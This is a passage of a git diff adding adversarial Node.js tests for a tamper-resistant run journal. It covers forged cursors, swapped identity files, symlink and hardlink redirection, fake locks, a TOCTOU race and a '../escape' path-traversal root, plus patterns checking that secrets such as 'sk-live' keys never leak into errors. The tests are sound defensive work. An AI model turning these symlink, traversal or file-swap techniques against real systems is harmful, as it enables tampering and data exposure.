readFile(journalPath, 'utf8')).split('\n').filter(Boolean); + + // Non-canonical but valid JSON in a committed line. + const parsed = JSON.parse(lines[0]); + const reordered = { + hash: parsed.hash, prev: parsed.prev, data: parsed.data, + kind: parsed.kind, seq: parsed.seq, schema: parsed.schema, + }; + const nonCanonical = canonicalJsonStringify(reordered).replace('{"data"', '{ "data"'); + await writeFile(journalPath, `${canonicalJsonStringify(parsed)}\n${lines[1]}\n${nonCanonical}\n`); + const malformed = await errorOf(() => journal.currentState()); + assert.equal(malformed.code, 'run_journal_committed_corruption'); + + // Blank committed line. + await writeFile(journalPath, `${lines.join('\n')}\n\n`); + const blank = await errorOf(() => journal.currentState()); + assert.equal(blank.code, 'run_journal_committed_corruption'); + + // Unknown envelope key in a committed entry. + const extra = { ...parsed, surprise: 1 }; + await writeFile(journalPath, `${canonicalJsonStringify(extra)}\n${lines[1]}\n`); + const unknownKey = await errorOf(() => journal.currentState()); + assert.equal(unknownKey.code, 'run_journal_committed_corruption'); + + // Foreign lock content is never followed or adopted. + await writeFile(path.join(journal.directory, 'lock'), 'garbage-lock\n'); + const lock = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.lock' }, + })); + assert.equal(lock.code, 'run_journal_lock_corrupt'); + await rm(path.join(journal.directory, 'lock'), { force: true }); + void store; void journalRoot; void runId; + }); +}); + +test('cursor hostiles: truncation, seal flips, wrong versions, extra keys, and cross-run reuse', async () => { + await withJournal(async ({ journal }) => { + await primeChild(journal); + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.p' } }); + const page = await journal.readPage({ limit: 2 }); + assert.notEqual(page.next_cursor, null); + + const hostiles = [ + ['truncated', page.next_cursor.slice(0, page.next_cursor.length - 8)], + ['empty', ''], + ['no seal', page.next_cursor.split('.')[0]], + ['extra dot', `${page.next_cursor}.extra`], + ['bad base64', `${'!'.repeat(20)}.AAAA`], + ]; + for (const [label, token] of hostiles) { + const error = await errorOf(() => journal.readPage({ cursor: token })); + assert.equal(error.code, 'run_journal_cursor_invalid', label); + } + + // Structurally valid payload with wrong version and extra key, both sealed. + const { createHash } = await import('node:crypto'); + const seal = (text) => { + const payload = Buffer.from(text).toString('base64url'); + const digest = createHash('sha256').update(`${RUN_JOURNAL_CURSOR_DOMAIN}\n${payload}`, 'utf8').digest(); + return `${payload}.${digest.toString('base64url')}`; + }; + const wrongVersion = seal(canonicalJsonStringify({ + v: 2, run: journal.run_fingerprint, seq: 1, head: RUN_JOURNAL_GENESIS_PREV, + })); + assert.equal((await errorOf(() => journal.readPage({ cursor: wrongVersion }))).code, + 'run_journal_cursor_invalid'); + const extraKey = seal(canonicalJsonStringify({ + v: 1, run: journal.run_fingerprint, seq: 1, head: RUN_JOURNAL_GENESIS_PREV, extra: true, + })); + assert.equal((await errorOf(() => journal.readPage({ cursor: extraKey }))).code, + 'run_journal_cursor_invalid'); + const foreignRun = seal(canonicalJsonStringify({ + v: 1, run: 'f'.repeat(64), seq: 1, head: RUN_JOURNAL_GENESIS_PREV, + })); + assert.equal((await errorOf(() => journal.readPage({ cursor: foreignRun }))).code, + 'run_journal_cursor_cross_run'); + + // Out-of-band limits. + assert.equal((await errorOf(() => journal.readPage({ limit: 0 }))).code, 'invalid_format'); + assert.equal((await errorOf(() => journal.readPage({ limit: 65 }))).code, 'invalid_format'); + const stale = await errorOf(() => journal.cursorAfter(99)); + assert.equal(stale.code, 'run_journal_cursor_stale'); + const negative = await errorOf(() => journal.cursorAfter(-1)); + assert.equal(negative.code, 'invalid_format'); + }); +}); + +test('append hostiles: unknown keys, bad expectations, and hostile dedupe keys fail before writes', async () => { + await withJournal(async ({ journal }) => { + await primeChild(journal); + const before = await readFile(path.join(journal.directory, 'journal.jsonl'), 'utf8'); + + const cases = [ + [{ kind: 'child_progress', data: { assignment_id: 'a0', note: 'n' }, extra: 1 }, 'unknown_key'], + [{ kind: 'child_progress' }, 'missing_key'], + [{ kind: 'child_progress', data: { assignment_id: 'a0', note: 'n' }, expected_seq: 0 }, 'invalid_format'], + [{ kind: 'child_progress', data: { assignment_id: 'a0', note: 'n' }, dedupe_key: 'has space' }, 'invalid_format'], + [{ kind: 'child_progress', data: { assignment_id: 'a0', note: 'n', extra: 1 } }, 'unknown_key'], + [{ kind: 'run_opened', data: {} }, 'run_journal_transition_invalid'], + ]; + for (const [event, expectedCode] of cases) { + const error = await errorOf(() => journal.append(event)); + assert.equal(error.code, expectedCode, JSON.stringify(event)); + } + assert.equal(await readFile(path.join(journal.directory, 'journal.jsonl'), 'utf8'), before); + }); +}); + +test('P24 binding hostiles: swapped identities and forged digests fail before any journal path exists', async () => { + const storeRoot = await makePrivateRoot('r1-p25-adv-store-'); + const journalRoot = await makePrivateRoot('r1-p25-adv-root-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId: 'run-binding-a' })); + await store.submit(makeSubmission({ runId: 'run-binding-b' })); + const recordA = JSON.parse(canonicalJsonStringify(await store.getByRunId('run-binding-a'))); + + const swappedIdentity = { ...recordA, identity: JSON.parse(canonicalJsonStringify(await store.getByRunId('run-binding-b'))).identity }; + assert.equal((await errorOf(() => validateBoundRunRecord(swappedIdentity))).code, + 'run_journal_identity_mismatch'); + + const forgedDigest = { ...recordA, canonical_digest: `sha256:${'9'.repeat(64)}` }; + assert.equal((await errorOf(() => validateBoundRunRecord(forgedDigest))).code, + 'run_journal_record_mismatch'); + + const extraKey = { ...recordA, journal_hint: 'x' }; + assert.equal((await errorOf(() => validateBoundRunRecord(extraKey))).code, 'unknown_key'); + + // Nothing was created in the journal root by any failed binding. + assert.deepEqual(await readdir(journalRoot), []); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +test('stale-lock recovery stays bounded and never follows hostile lock symlinks', async () => { + await withJournal(async ({ journal }) => { + await primeChild(journal); + // Hostile symlink at the lock name fails closed. + const scratch = await mkdtempScratch(); + try { + const outside = path.join(scratch, 'outside.lock'); + await writeFile(outside, `${canonicalJsonStringify({ + schema: RUN_JOURNAL_LOCK_SCHEMA_ID, pid: 1, nonce: 'c'.repeat(32), + })}\n`); + await symlink(outside, path.join(journal.directory, 'lock')); + const symlinked = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.locked' }, + })); + assert.equal(symlinked.code, 'run_journal_lock_corrupt'); + } finally { + await rm(scratch, { recursive: true, force: true }); + await rm(path.join(journal.directory, 'lock'), { force: true }); + } + }); +}); + +test('journal outputs stay deeply frozen and diagnostics never echo event contents', async () => { + await withJournal(async ({ journal }) => { + await primeChild(journal); + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.frozen' } }); + const state = await journal.currentState(); + assertFrozen(state); + const page = await journal.readPage({ limit: 10 }); + assertFrozen(page); + const diagnosticText = canonicalJsonStringify(page.diagnostics); + assert.equal(diagnosticText.includes('progress.frozen'), false); + assert.equal(diagnosticText.includes('a0'), false); + }); +}); + +function assertFrozen(value) { + if (value === null || typeof value !== 'object') return; + assert.equal(Object.isFrozen(value), true); + for (const child of Object.values(value)) assertFrozen(child); +} + +test('leftover private temporaries are cleaned by the next append without losing data', async () => { + await withJournal(async ({ journal }) => { + await primeChild(journal); + const { open: openFile, writeFile: writeFileFd } = await import('node:fs/promises'); + const tempPath = path.join(journal.directory, `.tmp-${'d'.repeat(32)}`); + const handle = await openFile(tempPath, 'w'); + await writeFileFd(handle, 'partial'); + await handle.close(); + const result = await journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.after-temp' }, + }); + assert.equal(result.created, true); + assert.equal(result.state.revision, 3); + const names = await readdir(journal.directory); + assert.equal(names.some((name) => name.startsWith('.tmp-')), false); + void lstat; + }); +}); + +test('unbound and hostile option bags fail closed', async () => { + const storeRoot = await makePrivateRoot('r1-p25-adv-store-'); + const journalRoot = await makePrivateRoot('r1-p25-adv-root-'); + try { + const store = await openRunStore(storeRoot); + assert.equal((await errorOf(() => createRunJournal(null))).code, 'invalid_type'); + assert.equal((await errorOf(() => createRunJournal({ root: journalRoot, store }))).code, 'missing_key'); + assert.equal((await errorOf(() => createRunJournal({ + root: journalRoot, store, run_id: 'run-x', extra: 1, + }))).code, 'unknown_key'); + assert.equal((await errorOf(() => createRunJournal({ + root: 'relative/root', store, run_id: 'run-x', + }))).code, 'run_journal_path_unsafe'); + assert.equal((await errorOf(() => createRunJournal({ + root: `${journalRoot}/../escape`, store, run_id: 'run-x', + }))).code, 'run_journal_path_unsafe'); + assert.equal((await errorOf(() => createRunJournal({ + root: journalRoot, store: {}, run_id: 'run-x', + }))).code, 'invalid_type'); + assert.deepEqual(await readdir(journalRoot), []); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-run-journal-aggregate-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-journal-aggregate-adversarial.test.mjs new file mode 100644 index 0000000..7e76d2a --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-journal-aggregate-adversarial.test.mjs @@ -0,0 +1,497 @@ +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { + chmod, + copyFile, + link, + lstat, + mkdir, + readdir, + readFile, + rm, + symlink, + unlink, + writeFile, +} from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; + +import { IDENTITY_LABELS, canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { + RUN_JOURNAL_LOCK_SCHEMA_ID, + RUN_JOURNAL_STAMP_SCHEMA_ID, + RUN_JOURNAL_STAMP_SCHEMA_ID_V2, + createAggregateRunJournal, + openAggregateRunJournal, +} from '../mcp/v3/run-journal.mjs'; +import { identityBoundDigest } from '../mcp/v3/selection-json.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + AGGREGATE_RUN_ID, + makePlanInput, + makePrivateRoot, + makeResolvedAnchor, +} from './fixtures/r1-run-journal-aggregate-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertNoSecret(error) { + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(error.message, /sel-[0-9a-f]{32}/u); +} + +function redigestMarker(fields) { + const payload = { schema: fields.schema, kind: fields.kind, nonce: fields.nonce }; + return { + ...payload, + canonical_digest: identityBoundDigest(IDENTITY_LABELS.STORAGE_ROOT, payload), + }; +} + +function redigestClaim(fields) { + const payload = { + schema: fields.schema, + run_id: fields.run_id, + anchor_digest: fields.anchor_digest, + submission_idempotency_key: fields.submission_idempotency_key, + root_marker_nonce: fields.root_marker_nonce, + root_marker_digest: fields.root_marker_digest, + nonce: fields.nonce, + }; + return { + ...payload, + canonical_digest: identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_CLAIM, payload), + }; +} + +function wrapAnchor(anchor, afterCoordination) { + let calls = 0; + return { + root: anchor.root, + marker_digest: anchor.marker_digest, + getByRunId: (runId) => anchor.getByRunId(runId), + async getCoordination(runId) { + const record = await anchor.getCoordination(runId); + calls += 1; + if (afterCoordination !== undefined) await afterCoordination(calls, record); + return record; + }, + }; +} + +async function withReady(fn, options) { + const prepared = await makeResolvedAnchor(options); + const journalRoot = await makePrivateRoot('r1-r25b-adv-j-'); + try { + return await fn({ ...prepared, journalRoot }); + } finally { + await rm(prepared.root, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +} + +test('missing, malformed, and mismatched resolved-plan records fail closed', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const planPath = path.join(root, 'runs', runId, 'resolved-plan.record.json'); + const honest = await readFile(planPath); + await unlink(planPath); + const missing = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok([ + 'aggregate_run_record_corruption', + 'run_journal_aggregate_mismatch', + 'run_journal_aggregate_swapped', + ].includes(missing.code), missing.code); + assertNoSecret(missing); + assert.deepEqual(await readdir(journalRoot), []); + + await writeFile(planPath, '{"schema":"ATTACKER-SECRET"}\n'); + const malformed = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof malformed.code === 'string'); + assertNoSecret(malformed); + + await writeFile(planPath, honest); + const parsed = JSON.parse(honest.toString('utf8')); + parsed.canonical_digest = `sha256:${'0'.repeat(64)}`; + await writeFile(planPath, `${canonicalJsonStringify(parsed)}\n`); + const mismatched = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof mismatched.code === 'string'); + assertNoSecret(mismatched); + }); +}); + +test('wrong run, wrong plan complete flag, and incomplete plan inputs fail closed', async () => { + await withReady(async ({ anchor, journalRoot, runId }) => { + const wrongRun = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: 'aggregate-missing-run', + })); + assert.equal(wrongRun.code, 'aggregate_run_not_found'); + + const badPlan = makePlanInput(runId, false); + assert.equal(badPlan.complete, false); + void journalRoot; + }); +}); + +test('marker, claim, and aggregate stamp swaps fail closed without claiming journal state', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const markerPath = path.join(root, 'storage-root.v1'); + const claimPath = path.join(root, 'claims', `${runId}.json`); + const stampPath = path.join(root, 'runs', runId, 'created.json'); + const marker = await readFile(markerPath); + const claim = await readFile(claimPath); + const stamp = await readFile(stampPath); + + await writeFile(markerPath, `${canonicalJsonStringify({ + schema: 'codex-co-engineer.storage-root.v1', + kind: 'aggregate_run_anchor', + nonce: 'f'.repeat(32), + canonical_digest: `sha256:${'1'.repeat(64)}`, + })}\n`); + const markerSwap = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof markerSwap.code === 'string'); + assertNoSecret(markerSwap); + await writeFile(markerPath, marker); + + await writeFile(claimPath, `${canonicalJsonStringify({ + ...JSON.parse(claim.toString('utf8')), + nonce: 'e'.repeat(32), + canonical_digest: `sha256:${'2'.repeat(64)}`, + })}\n`); + const claimSwap = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof claimSwap.code === 'string'); + assertNoSecret(claimSwap); + await writeFile(claimPath, claim); + + await writeFile(stampPath, `${canonicalJsonStringify({ + schema: 'codex-co-engineer.aggregate-run-created.v1', + run_id: runId, + record_canonical_digest: `sha256:${'3'.repeat(64)}`, + nonce: 'd'.repeat(32), + })}\n`); + const stampSwap = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof stampSwap.code === 'string'); + assertNoSecret(stampSwap); + await writeFile(stampPath, stamp); + assert.deepEqual(await readdir(journalRoot), []); + }); +}); + +test('symlink, hardlink, and non-regular aggregate identity files are not followed', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const scratch = await makePrivateRoot('r1-r25b-adv-scratch-'); + try { + const outside = path.join(scratch, 'outside.json'); + await writeFile(outside, 'ATTACKER-SECRET\n'); + const planPath = path.join(root, 'runs', runId, 'resolved-plan.record.json'); + const honest = await readFile(planPath); + await unlink(planPath); + await symlink(outside, planPath); + const linked = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok([ + 'run_journal_not_regular', + 'aggregate_run_not_regular', + 'aggregate_run_record_corruption', + ].includes(linked.code), linked.code); + assertNoSecret(linked); + await unlink(planPath); + await writeFile(planPath, honest, { mode: 0o600 }); + await chmod(planPath, 0o600); + + const claimPath = path.join(root, 'claims', `${runId}.json`); + const claimBytes = await readFile(claimPath); + await unlink(claimPath); + await symlink(outside, claimPath); + const claimLink = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof claimLink.code === 'string'); + assertNoSecret(claimLink); + await unlink(claimPath); + await writeFile(claimPath, claimBytes, { mode: 0o600 }); + await chmod(claimPath, 0o600); + + await mkdir(path.join(scratch, 'dir-plan'), { mode: 0o700 }); + await unlink(planPath); + await symlink(path.join(scratch, 'dir-plan'), planPath); + const nonregular = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.ok(typeof nonregular.code === 'string'); + await unlink(planPath); + await writeFile(planPath, honest, { mode: 0o600 }); + await chmod(planPath, 0o600); + + const journal = await createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + await journal.append({ kind: 'run_opened', data: {} }); + const twin = path.join(scratch, 'twin.jsonl'); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + await copyFile(journalPath, twin); + await unlink(journalPath); + await link(twin, journalPath); + assert.equal((await lstat(journalPath)).nlink, 2); + const hardlinked = await errorOf(() => journal.currentState()); + assert.equal(hardlinked.code, 'run_journal_not_regular'); + } finally { + await rm(scratch, { recursive: true, force: true }); + } + }); +}); + +test('foreign journal entries and a swapped journal stamp conflict permanently', async () => { + await withReady(async ({ anchor, journalRoot, runId }) => { + const journal = await createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + await writeFile(path.join(journal.directory, 'foreign.txt'), 'nope\n'); + const foreign = await errorOf(() => journal.currentState()); + assert.equal(foreign.code, 'run_journal_foreign_entry'); + await unlink(path.join(journal.directory, 'foreign.txt')); + + const stampPath = path.join(journal.directory, 'created.json'); + const honest = JSON.parse(await readFile(stampPath, 'utf8')); + await writeFile(stampPath, `${canonicalJsonStringify({ + ...honest, + binding_digest: `sha256:${'a'.repeat(64)}`, + })}\n`); + const conflict = await errorOf(() => journal.append({ kind: 'run_opened', data: {} })); + assert.equal(conflict.code, 'run_journal_identity_conflict'); + assertNoSecret(conflict); + + await writeFile(stampPath, `${canonicalJsonStringify({ + schema: RUN_JOURNAL_STAMP_SCHEMA_ID, + run_id: runId, + record_canonical_digest: `sha256:${'b'.repeat(64)}`, + nonce: honest.nonce, + })}\n`); + const rebound = await errorOf(() => openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.equal(rebound.code, 'run_journal_dir_rebound'); + + await writeFile(stampPath, `${canonicalJsonStringify(honest)}\n`); + const restored = await openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + assert.equal(restored.aggregate_binding_digest, honest.binding_digest); + assert.equal(RUN_JOURNAL_STAMP_SCHEMA_ID_V2, honest.schema); + }); +}); + +test('post-validation TOCTOU on the resolved plan fails closed under the journal lock', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const journal = await createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + const planPath = path.join(root, 'runs', runId, 'resolved-plan.record.json'); + await unlink(planPath); + const raced = await errorOf(() => journal.append({ kind: 'run_opened', data: {} })); + assert.ok([ + 'aggregate_run_record_corruption', + 'run_journal_aggregate_mismatch', + 'run_journal_aggregate_swapped', + 'run_journal_identity_conflict', + ].includes(raced.code), raced.code); + assertNoSecret(raced); + }); +}); + +test('a live foreign journal lock times out; a dead owner is recovered', async () => { + await withReady(async ({ anchor, journalRoot, runId }) => { + const journal = await createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + await journal.append({ kind: 'run_opened', data: {} }); + + const deadChild = spawn(process.execPath, ['-e', 'process.exit(0);']); + await new Promise((resolve) => deadChild.on('exit', resolve)); + const deadLock = path.join(journal.directory, 'lock'); + await writeFile(deadLock, `${canonicalJsonStringify({ + schema: RUN_JOURNAL_LOCK_SCHEMA_ID, + pid: deadChild.pid, + nonce: 'a'.repeat(32), + })}\n`, { mode: 0o600 }); + await chmod(deadLock, 0o600); + const recovered = await journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + }); + assert.equal(recovered.created, true); + + const holder = spawn(process.execPath, ['-e', 'setTimeout(() => {}, 30000);']); + try { + const liveLock = path.join(journal.directory, 'lock'); + await writeFile(liveLock, `${canonicalJsonStringify({ + schema: RUN_JOURNAL_LOCK_SCHEMA_ID, + pid: holder.pid, + nonce: 'b'.repeat(32), + })}\n`, { mode: 0o600 }); + await chmod(liveLock, 0o600); + const timeout = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.blocked' }, + })); + assert.equal(timeout.code, 'run_journal_lock_timeout'); + } finally { + holder.kill('SIGKILL'); + await rm(path.join(journal.directory, 'lock'), { force: true }); + } + }); +}); + +test('duplicate conflicting process identity is a permanent typed conflict', async () => { + await withReady(async ({ anchor, journalRoot, runId }) => { + const journal = await createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + const stampPath = path.join(journal.directory, 'created.json'); + const honest = JSON.parse(await readFile(stampPath, 'utf8')); + await writeFile(stampPath, `${canonicalJsonStringify({ + ...honest, + binding_digest: `sha256:${'c'.repeat(64)}`, + })}\n`); + const first = await errorOf(() => openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + const second = await errorOf(() => openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.equal(first.code, 'run_journal_identity_conflict'); + assert.equal(second.code, 'run_journal_identity_conflict'); + assertNoSecret(first); + assertNoSecret(second); + }); +}); + +test('journal root foreign files, group-readable roots, and shared runs dirs fail closed', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const openRuns = await errorOf(() => createAggregateRunJournal({ + root: path.join(root, 'runs'), anchor, run_id: runId, + })); + assert.equal(openRuns.code, 'run_journal_root_shared'); + + const other = await makePrivateRoot('r1-r25b-adv-mode-'); + try { + await chmod(other, 0o755); + const unsafe = await errorOf(() => createAggregateRunJournal({ + root: other, anchor, run_id: runId, + })); + assert.equal(unsafe.code, 'run_journal_unsafe_path'); + } finally { + await chmod(other, 0o700).catch(() => {}); + await rm(other, { recursive: true, force: true }); + } + + await createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + }); + await writeFile(path.join(journalRoot, 'foreign-root.txt'), 'nope\n'); + const foreignRoot = await errorOf(() => openAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.equal(foreignRoot.code, 'run_journal_foreign_entry'); + }); +}); + +test('ancestor and descendant R24A journal roots fail closed before mutation', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const spare = path.join(root, 'runs', 'spare-run'); + await mkdir(spare, { mode: 0o700 }); + const nested = await errorOf(() => createAggregateRunJournal({ + root: spare, anchor, run_id: runId, + })); + assert.equal(nested.code, 'run_journal_root_shared'); + assert.deepEqual(await readdir(spare), []); + assert.deepEqual(await readdir(journalRoot), []); + + const ownedRun = path.join(root, 'runs', runId); + const beforeOwned = await readdir(ownedRun); + const descendant = await errorOf(() => createAggregateRunJournal({ + root: ownedRun, anchor, run_id: runId, + })); + assert.equal(descendant.code, 'run_journal_root_shared'); + assert.deepEqual(await readdir(ownedRun), beforeOwned); + assert.ok(!beforeOwned.includes('runs')); + }); +}); + +test('a redigested claim with a mismatched submission key fails closed', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const claimPath = path.join(root, 'claims', `${runId}.json`); + const honest = JSON.parse(await readFile(claimPath, 'utf8')); + const mutated = redigestClaim({ + ...honest, + submission_idempotency_key: `sha256:${'e'.repeat(64)}`, + }); + assert.notEqual(mutated.submission_idempotency_key, honest.submission_idempotency_key); + assert.notEqual(mutated.canonical_digest, honest.canonical_digest); + await writeFile(claimPath, `${canonicalJsonStringify(mutated)}\n`); + const mismatched = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor, run_id: runId, + })); + assert.equal(mismatched.code, 'run_journal_aggregate_mismatch'); + assertNoSecret(mismatched); + assert.deepEqual(await readdir(journalRoot), []); + }); +}); + +test('pre-publication claim/marker/plan swap fails with zero journal artifacts', async () => { + await withReady(async ({ root, anchor, journalRoot, runId }) => { + const markerPath = path.join(root, 'storage-root.v1'); + const claimPath = path.join(root, 'claims', `${runId}.json`); + const planPath = path.join(root, 'runs', runId, 'resolved-plan.record.json'); + const honestMarker = JSON.parse(await readFile(markerPath, 'utf8')); + const honestClaim = JSON.parse(await readFile(claimPath, 'utf8')); + const honestPlan = await readFile(planPath); + + async function swapValidBinding() { + const marker = redigestMarker({ ...honestMarker, nonce: 'c'.repeat(32) }); + const claim = redigestClaim({ + ...honestClaim, + root_marker_nonce: marker.nonce, + root_marker_digest: marker.canonical_digest, + nonce: 'd'.repeat(32), + }); + await writeFile(markerPath, `${canonicalJsonStringify(marker)}\n`); + await writeFile(claimPath, `${canonicalJsonStringify(claim)}\n`); + await unlink(planPath); + await writeFile(planPath, honestPlan); + } + + const wrapped = wrapAnchor(anchor, async (calls) => { + if (calls >= 2) await swapValidBinding(); + }); + const swapped = await errorOf(() => createAggregateRunJournal({ + root: journalRoot, anchor: wrapped, run_id: runId, + })); + assert.ok([ + 'run_journal_aggregate_swapped', + 'run_journal_aggregate_mismatch', + ].includes(swapped.code), swapped.code); + assertNoSecret(swapped); + assert.deepEqual(await readdir(journalRoot), []); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-journal-aggregate.test.mjs b/plugins/codex-co-engineer/test/r1-run-journal-aggregate.test.mjs new file mode 100644 index 0000000..a407c36 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-journal-aggregate.test.mjs @@ -0,0 +1,388 @@ +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { readFile, readdir, rm, writeFile } from 'node:fs/promises'; +import { fileURLToPath } from 'node:url'; +import path from 'node:path'; +import test from 'node:test'; + +import { initializeAggregateRunAnchorRoot } from '../mcp/v3/aggregate-run-anchor.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { + MAX_RUN_JOURNAL_STAMP_BYTES, + RUN_JOURNAL_CURSOR_DOMAIN, + RUN_JOURNAL_STAMP_SCHEMA_ID, + RUN_JOURNAL_STAMP_SCHEMA_ID_V2, + bindAggregateResolution, + createAggregateRunJournal, + createRunJournal, + openAggregateRunJournal, + openRunJournal, + validateBoundAggregateResolution, +} from '../mcp/v3/run-journal.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + RUN_JOURNAL_EVENT_KINDS, + RUN_JOURNAL_GENESIS_PREV, + RUN_JOURNAL_HASH_DOMAIN, + RUN_JOURNAL_STATE_SCHEMA_ID, +} from '../mcp/v3/run-reducer.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { + AGGREGATE_RUN_ID, + makePrivateRoot, + makeResolvedAnchor, + makeSubmitInput, +} from './fixtures/r1-run-journal-aggregate-fixtures.mjs'; +import { + makePrivateRoot as makeStoreRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; + +const GOLDEN = JSON.parse(await readFile( + new URL('./fixtures/r1-run-journal-legacy-bytes.json', import.meta.url), + 'utf8', +)); +const WORKER = fileURLToPath(new URL('./fixtures/r1-run-journal-aggregate-worker.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +function assertNoSecret(error) { + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(JSON.stringify(error), /ATTACKER-SECRET/u); +} + +async function withAggregateJournal(fn, { branch = 'selection', runId = AGGREGATE_RUN_ID } = {}) { + const prepared = await makeResolvedAnchor({ branch, runId }); + const journalRoot = await makePrivateRoot('r1-r25b-journal-'); + try { + const journal = await createAggregateRunJournal({ + root: journalRoot, + anchor: prepared.anchor, + run_id: runId, + }); + return await fn({ + ...prepared, + journalRoot, + journal, + }); + } finally { + await rm(prepared.root, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +} + +function spawnWorker({ anchorRoot, journalRoot, runId, count, prefix }) { + const child = spawn(process.execPath, [ + WORKER, anchorRoot, journalRoot, runId, String(count), prefix, + ]); + let stdout = ''; + let stderr = ''; + child.stdout.on('data', (chunk) => { stdout += chunk; }); + child.stderr.on('data', (chunk) => { stderr += chunk; }); + const done = new Promise((resolve, reject) => { + child.on('exit', () => { + try { + resolve(JSON.parse(stdout.trim().split('\n').at(-1))); + } catch (error) { + reject(new Error(`worker produced no result (${stderr.trim()}): ${error.message}`)); + } + }); + child.on('error', reject); + }); + return { done, child }; +} + +test('legacy stamp, fingerprint, six events, reducer, cursor, and entrypoints stay byte-identical', async () => { + assert.equal(RUN_JOURNAL_STAMP_SCHEMA_ID, GOLDEN.stampSchemaV1); + assert.equal(RUN_JOURNAL_STAMP_SCHEMA_ID_V2, GOLDEN.stampSchemaV2); + assert.deepEqual([...RUN_JOURNAL_EVENT_KINDS], GOLDEN.eventKinds); + assert.equal(RUN_JOURNAL_GENESIS_PREV, GOLDEN.genesisPrev); + assert.equal(RUN_JOURNAL_HASH_DOMAIN, GOLDEN.hashDomain); + assert.equal(RUN_JOURNAL_CURSOR_DOMAIN, GOLDEN.cursorDomain); + assert.equal(RUN_JOURNAL_STATE_SCHEMA_ID, GOLDEN.stateSchema); + + const sample = GOLDEN.fingerprintSample; + const fingerprint = createHash('sha256') + 